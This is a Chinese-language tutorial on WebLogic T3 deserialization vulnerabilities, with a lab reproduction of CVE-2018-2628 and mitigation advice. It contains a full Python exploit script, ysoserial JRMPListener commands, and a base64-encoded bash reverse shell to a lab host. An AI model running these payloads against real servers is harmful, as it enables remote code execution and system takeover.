- 前言
- T3協議概述
- T3反序列漏洞分析
- 漏洞復現
- 修復措施
前言
WebLogic的反序列化漏洞是一個經典的漏洞系列,原因就在於WebLogic在通訊過程中使用T3協議傳輸資料,涉及到了序列化和反序列化操作。
T3協議概述
T3協議是Oracle的私有協議,所以公開的相關資料比較少,這裡結合其他師傅的部落格簡單對T3協議進行一個簡要分析。
T3協議是WebLogic的一種專有通訊協議,在Weblogic中的RMI通訊是使用T3協議實現的(一般的RMI通訊使用的是JRMP協議)。
在T3協議中協議協商的協商階段,會傳送一個請求包頭(handshake)用來表明這是一個T3協議,它負責定義資料包的基本結構和傳輸協議的版本資訊。
客戶端會首先傳送下面的資訊給weblogic伺服器:
t3 12.2.3
AS:255
HL:19
nMS:10000000
使用Python模擬傳送一個請求包的頭:
import socket
handshake = "t3 12.2.3\nAS:255\nHL:19\nMS:10000000\n\n"
ip = "192.168.88.150"
port = 7001
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((ip, port))
sock.sendall(handshake.encode())
data = sock.recv(1024)
Wireshark對它進行抓包:
可以看到伺服器接收到資訊後,會回覆類似的訊息:
HELO:12.2.1.3.false
AS:2048
HL:19
MS:10000000
PN:DOMAIN
響應包頭中HELO後面的內容是被連線的weblogic的版本號12.2.1.3。通訊雙方根據對方發來的協議協商資訊,開始建立連線。
再協商完畢上面的資訊後,客戶端會向服務端傳送自己的詳細資訊,這是一段二進位制資料。在這段二進位制流的前4bytes標識了本次請求的資料長度,然後直到遇到aced 0005
序列化資料的標識之前,這部分內容被稱為PeerInfo。
以這個PoC指令碼( https://www.exploit-db.com/exploits/44553 )請求資料包為例:
在aced 0005
之後的就是實際傳輸的序列化資料。
關於T3協議更加詳細的分析可以看這位師傅的部落格:https://www.cnblogs.com/unicodeSec/p/14378757.html
T3反序列漏洞分析
前面提到WebLogic的RMI是透過T3協議實現的,在T3協議的傳輸過程中同樣會進行序列化和反序列化的操作,所以說T3的反序列漏洞和RMI的反序列漏洞的原理幾乎是一致的。
大部分的WebLogic的利用指令碼都是使用python編寫的,比如上面提到的那個PoC指令碼。基本的思路都是替換WebLogic T3協議流中aced 0005
部分為惡意的序列化資料來實現反序列化攻擊。其實也就就是把ysoserial生成的Payload變成T3協議裡的資料格式。
除了由 Exploit Database 提供的利用指令碼,還有國內其他師傅寫的指令碼:
import socket
import sys
import struct
import re
import subprocess
import binascii
def get_payload1(gadget, command):
JAR_FILE = './ysoserial.jar'
popen = subprocess.Popen(['java', '-jar', JAR_FILE, gadget, command], stdout=subprocess.PIPE)
return popen.stdout.read()
def get_payload2(path):
with open(path, "rb") as f:
return f.read()
def exp(host, port, payload):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((host, port))
handshake = "t3 12.2.3\nAS:255\nHL:19\nMS:10000000\n\n".encode()
sock.sendall(handshake)
data = sock.recv(1024)
pattern = re.compile(r"HELO:(.*).false")
version = re.findall(pattern, data.decode())
if len(version) == 0:
print("Not Weblogic")
return
print("Weblogic {}".format(version[0]))
data_len = binascii.a2b_hex(b"00000000") #資料包長度,先佔位,後面會根據實際情況重新
t3header = binascii.a2b_hex(b"016501ffffffffffffffff000000690000ea60000000184e1cac5d00dbae7b5fb5f04d7a1678d3b7d14d11bf136d67027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006") #t3協議頭
flag = binascii.a2b_hex(b"fe010000") #反序列化資料標誌
payload = data_len + t3header + flag + payload
payload = struct.pack('>I', len(payload)) + payload[4:] #重新計算資料包長度
sock.send(payload)
if __name__ == "__main__":
host = "192.168.1.40"
port = 7001
gadget = "Jdk7u21" #CommonsCollections1 Jdk7u21
command = "touch /tmp/CVE-2015-4852"
payload = get_payload1(gadget, command)
exp(host, port, payload)
原理都是一樣的,把生成的Payload替換掉原來的序列化的部分,但要保證T3協議格式仍然正確。
造成反序列漏洞的原因一般都是readObject方法在進行反序列化操作出現了問題,T3協議的反序列漏洞也不例外。T3協議接收過來的資料會在weblogic.rjvm.InboundMsgAbbrev#readObject
這裡進行反序列化操作。
借一張其他師傅部落格的圖:
中間的呼叫過程先不談,導致的漏洞產生的直接原因就是在resolveClass
方法中也沒做任何的校驗。
這個resolveClass方法的作用是將類的序列化描述符加工成該類的Class物件。resolveClass沒有任何校驗的話,就意味著它會獲取任意的類的Class物件,這就有了可乘之機,可以輕易獲取我們惡意的類的Class物件,從而造成反序列漏洞。
T3協議的利用最早可以追溯到2015的CVE-2015-4582,漏洞存在於Commons-Collections這個庫的CC鏈1的利用。到後來的CVE-2016-0638和CVE-2016-3510都也很類似。
到17年之後的漏洞開始透過構造JRMP伺服器監聽的方法反向觸發,比如第一個CVE-2017-3248,到後來的CVE-2018-2628它對上一個的繞過,之後還有CVE-2020-2555,CVE-2020-2883等漏洞。
漏洞復現
這裡使用vulhub的CVE-2018-2628環境來複現T3協議反序列化命令執行漏洞。
影響版本: Weblogic 10.3.6.0、12.1.3.0、12.2.1.2、12.2.1.3
環境搭建:
cd ./vulhub/weblogic/CVE-2018-2628
docker compose up -d
透過nmap可以探測Weblogic的T3協議是否啟用,以及版本號:
利用 ysoserial 的攻擊流程都大同小異,首先使用JRMPListener開啟一個JRMP服務監聽,利用鏈這裡選擇CC1鏈。
java -cp ysoserial-master-SNAPSHOT.jar ysoserial.exploit.JRMPListener 2333 CommonsCollections1 "touch /tmp/success-cve-2018-2628"
利用 exp 指令碼(python2指令碼,python3執行報錯),向目標Weblogic傳送Payload:
python2 CVE-2018-2628.py 192.168.88.150 7001 ysoserial-master-SNAPSHOT.jar 192.168.88.128 2333 JRMPClient
# 192.168.88.150 是靶機IP,7001是Weblogic埠
exp執行完成後,靶機回連本地JRMP服務,JRMP服務端收到請求:
執行docker compose exec weblogic bash
進入容器中,可見檔案已成功建立:
除了RCE,還有反彈shell都是類似的操作。
首先,在kali中透過 nc 監聽本地埠:
nc -lvvp 12345
接著準備反彈shell的程式碼:
bash -i >& /dev/tcp/192.168.88.128/12345 0>&1
由於Runtime.getRuntime().exec()中不能使用重定向和管道符,這裡需要對其進行base64編碼再使用:
"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4Ljg4LjEyOC8xMjM0NSAgIDA+JjE=}|{base64,-d}|{bash,-i}"
本地開啟JRMP監聽,監聽本地2333埠,利用鏈依然使用CC1鏈:
java -cp ysoserial-master-SNAPSHOT.jar ysoserial.exploit.JRMPListener 2333 CommonsCollections1 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4Ljg4LjEyOC8xMjM0NSAgIDA+JjE=}|{base64,-d}|{bash,-i}"
利用 exp 指令碼,向目標Weblogic傳送Payload:
python2 CVE-2018-2628.py 192.168.88.150 7001 ysoserial-master-SNAPSHOT.jar 192.168.88.128 2333 JRMPClient
exp 指令碼執行完成後,反彈shell成功:
修復措施
-
關閉T3服務:如果Weblogic控制檯埠(預設為7001埠)開放,T3服務會預設開啟。關閉T3服務或控制T3服務的訪問許可權可以防護該漏洞。
-
更新補丁:應用Oracle官方釋出的最新補丁,並升級JDK至1.7.0.21以上版本。
-
更改程式碼:如果無法應用補丁或更新JDK,可以考慮更改程式碼,例如在黑名單中新增特定的類名,以阻斷漏洞利用。
參考文章:
https://www.cnblogs.com/nice0e3/p/14201884.html#漏洞復現
https://xz.aliyun.com/t/10365
https://xz.aliyun.com/t/8073
http://drops.xmd5.com/static/drops/web-13470.html
https://www.cnblogs.com/unicodeSec/p/14378757.html
https://www.freebuf.com/vuls/229140.html
若有錯誤,歡迎指正!o( ̄▽ ̄)ブ